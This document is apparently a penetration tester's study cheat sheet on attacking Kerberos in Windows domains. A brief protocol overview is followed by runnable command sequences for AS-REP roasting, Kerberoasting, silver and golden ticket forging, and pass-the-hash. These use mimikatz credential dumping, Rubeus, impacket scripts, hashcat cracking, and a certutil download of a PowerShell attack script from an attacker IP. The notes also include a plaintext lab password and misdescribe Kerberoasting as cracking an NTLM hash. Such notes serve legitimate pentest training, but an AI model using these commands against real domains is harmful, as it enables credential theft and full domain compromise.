Basics

• TCP/88 and UDP/88
• Ker­beros is an authen­ti­ca­tion protocol. 
  • Not an autho­riza­tion protocol!
  • It authen­ti­cates a user, but each ser­vice who uses it has to autho­rize the user!
• The com­po­nents of a Ker­beros sys­tem are 
  • a user or client,
  • an Appli­ca­tion Serv­er AP who offers a ser­vice and
  • the Key Dis­tri­b­u­tion Cen­ter KDC.
    • Issues tick­ets
    • Installed on the Domain Controller
• Tick­et types: 
  • Tick­et Grant­i­ng Ser­vice TGS: Tick­et with which a user authen­ti­cate against an appli­ca­tion server.
  • Tick­et Grant­i­ng Tick­et TGT: Tick­et for the KDC to request a TGS.
• Win­dows stores pass­word hash­es in the LSASS Local Secu­ri­ty Author­i­ty Sub­sys­tem Ser­vice.

Authen­ti­ca­tion sequence for an user to log in on a domain (con­troller):

1. Client sends a AS-REQ Authen­ti­ca­tion Serv­er Request to the DC with 
   • the Time­stamp, encrypt­ed with the user’s pass­word hash (which the DC also has)
2. DC decrypts the mes­sage with the user’s hash. If the time­stamp is valid and not already used, the DC notes this user as logged in and returns it to the client.

Authen­ti­ca­tion sequence for an authen­ti­cat­ed user on a local system:

1. Client requests from KDC a TGT 
   • Request con­tains
     • time­stamp,
     • SPN (request­ed service),
     • user name and
     • user NONCE
2. KDC sends to the client a TGT 
   • KDC checks timestamp
3. Client requests from KDC a TGS 
   • Request con­tains
     • TGT
     • new time­stamp
4. KDC sends to the client a TGS
5. Client sends TGS to Appli­ca­tion Serv­er AP
6. Option­al: The AP ver­i­fies the clien­t’s request agains the KDC.

Terminology

Ker­beroast­ing means an offline crack­ing of the pass­word in the NTLM hash. Use­less if the ser­vice runs as ser­vice user. Then, the pass­word will be replaced by a 128 char­ac­ter long pass­word each 30 days auto­mat­i­cal­ly. Pos­si­ble if the ser­vice runs as nor­mal user who maybe chose a weak password.

Attacks

AS-REP-Roasting

A Ker­beroast­ing attack which does­n’t need shell access. DO THIS ALSO if you have already credentials!

Tries to find out user­names for which no pre-authen­ti­ca­tion is required. For these users, every­body can request a ini­tial TGT, which con­tains the orig­i­nal user key, encrypt­ed by the user’s pass­word. This can be breaked.

1. Cre­ate list with users.
2. Use GetNPUsers.py to har­vest non-preauth respons­es from the DC.
   WARNING: It can be that no suc­cess is shown BUT THE FILE EXISTS with a hash!

3. GetNPUsers.py svcorp.com/USERNAME -dc-ip 10.11.1.20 -usersfile kerberos-found-users.txt -format hashcat -outputfile /tmp/hashes.asreproast

4. Crack it with hash­cat.

   /opt/hashcat/hashcat -m18200 -a0 -O --session name_der_sitzung --self-test-disable /tmp/test.hash /opt/rockyou.txt

Alter­na­tive: Request Tick­et via:

python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py $domain/$user:$password -dc-ip $target -request

Alter­na­tive: Request tick­et via Rubeus (com­piled exe is in the enum directory)

Rubeus.exe kerberoast /creduser:active.htb\SVC_TGS /dc:$target /credpassword:GPPstillStandingStrong2k18 /outfile:h.txt

Service Account Attack

A Ker­beroast­ing attack which needs shell access.

Request ser­vice tick­et from the DC. In the first step, no authen­ti­ca­tion is required, so every­body can do this.

With Rubeus

1. Upload Rubeus (see Github or the p61.general directory)
2. Exe­cute
   Rubeus.exe kerberoast /outfile:hashes.kerberoast
3. Break found hash­es with hash­cat and mode 13100.

Manually in Powershell

1. Open Pow­er­shell
2. User Pow­erView to obtain the ser­vi­ceprin­ci­pal­name from a ser­vice. (E.g. via the oscp-enum-script.ps1 script / see escalation_scripts direc­to­ry.) Make sure that you are logged in in a domain and not in a local account! Lets say the fol­low­ing was found:
   

   serviceprincipalname {HTTP/CorpWebServer.corp.com}

3. Then, cre­ate a ser­vice tick­et from the DC via Pow­er­Shell:
   

   Add-Type -AssemblyName System.IdentityModel
   New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/CorpWebServer.corp.com'

4. Direct after this exe­cu­tion, the mem­o­ry holds the tick­et. It can be shown with
   

   klist

5. Exe­cute mimikatz.exe (as a user!) and export all cached tick­ets with
   

   kerberos::list /export

6. Transer the export­ed files to the local system.
7. Crack the hash­es
   

   python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt 1-40a50000-offsec@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi

Alter­na­tive:

1. Upload Invoke-Kerberoast.ps1
   

   certutil.exe -urlcache -split -f "http://192.168.119.158:8000/Invoke-Kerberoast.ps1" Invoke-Kerberoast.ps1

2. Per­form step three from before to make sure that tick­ets are in the cache.
3. Grab hashs for Hash­cat
   

   powershell -exec bypass
   Import-Module .\Invoke-Kerberoast.ps1
   Invoke-Kerberoast -OutputFormat hashcat

4. Break them
   

   /opt/hashcat/hashcat -m13100 -a0 -O --self-test-disable kerberos-raw.txt /opt/all_seclist_with_rockyou.txt

Silver Ticket attack (one service)

Required:

• Hash for a pass­word of a ser­vice account
• Domain SID
• Tar­get SPN

Back­ground:

1. A TGS Tick­et Grant­i­ng Ser­vice is received and checked from a ser­vice to deter­mine if we can access it.
2. The TGS is encrypt­ed with the hash of the pass­word of the ser­vice account.
3. The TGS con­tains the per­mis­sions for the server.
4. There­fore: If we have the hash of the pass­word from a ser­vice account, we can cre­ate our own TGS with the per­mis­sions we want.

Get the requirements:

1. Get the Hash of the ser­vice account 
   • Use mimikatz and privilege::debug, sekurlsa::logonpasswords to get the NTLM hash e.g. from the iis_service
2. Get the Domain SID 
   • The domain SID is ABC from ABCD (see the Win­dows secu­ri­ty fun­da­men­tals). Just get some user’s id, like with whoami /user and take the SID with­out the last part.
   • Exam­ple: We got S‑1–5‑21–1987370270-658905905–1781884369-1105. Then, the Domain SID = S‑1–5‑21–1987370270-658905905–1781884369.
3. Tar­get SPN 

Then, use mimikatz to cre­ate a sil­ver tick­et on the sys­tem for a giv­en user. (Note: mimikatz kerberos:golden cre­ates sil­ver and gold­en tick­ets…) Here, for exam­ple for the IIS ser­vice on the web1.dom.ain host.

kerberos::golden
/sid:S-1-5-21-1987370270-658905905-1781884369
/domain:dom.ain
/ptt
/target:web1.dom.ain
/service:http
/rc4:$ntlmHash
/user:$userToInject

To check if it worked: Exit mimikatz and exe­cute the klist com­mand. The tick­et should be vis­i­ble there.

Golden Ticket attack (all services)

Required:

• Hash of the pass­word of the krbt­gt domain account or access to an admin­is­tra­tive domain group user.
• Domain SID

Back­ground:

• The DC/KDC encrypts the TGT with the pass­word hash of the domain user krbt­gt.
• If we got this users NTLM hash, then we can cre­ate TGTs for all ser­vices and users — a gold­en ticket.

Get the requirements:

1. To get the krbt­gt’s hash: As a user in the admin­is­tra­tive domain group, exe­cute mimikatz and note the NTLM hash of the krbt­gt account:
   privilege::debug
lsadump::lsa /patch
2. To get the Domain SID: See the first line after the pre­vi­ous lsad­ump command.

Now, on some com­pro­mised domain com­put­er with some account $currentUser in mimikatz:

kerberos::purge // to remove other tickets which may be used before our golden ticket.
kerberos::golden /user:$currentUser /domain:dom.ain /sid:$sid /krbtgt:$krbtgthash /ptt

Cre­ate a new cmd ses­sion out of mimikatz:

misc::cmd

Now you can authen­ti­cate to any ser­vice in the domain.

Impor­tant: Use the smb name and not the domain, because the tick­et would not be used if it is for the smb name and not for the IP!

PsExec64.exe \\dc01 cmd.exe // works
PsExec64.exe \\10.10.10.1 cmd.exe // works not

Note: As soon as a Gold­en Tick­et was gen­er­at­ed, the domain own­er has to change the krbt­gt’s pass­word twice. Because the last two pass­words are valid…

Pass The Hash (PTH)

Required: User­name and NTML hash.

• Get the users hash from SAM files or the memory
• Use this hash to authen­ti­cate against the KDC to obtain tick­ets for var­i­ous services
• Use getTGT.py to obtain a hash for a giv­en user account.

Pass the Ticket (PTT)

• Get a real tick­et from the user by a Man-in-the-Mid­dle attack.
• Or direct­ly from a sys­tem via Mimikatz. (Source and demo for Lin­ux and Win­dows.)

More information

• https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88
• https://www.tarlogic.com/en/blog/how-to-attack-kerberos/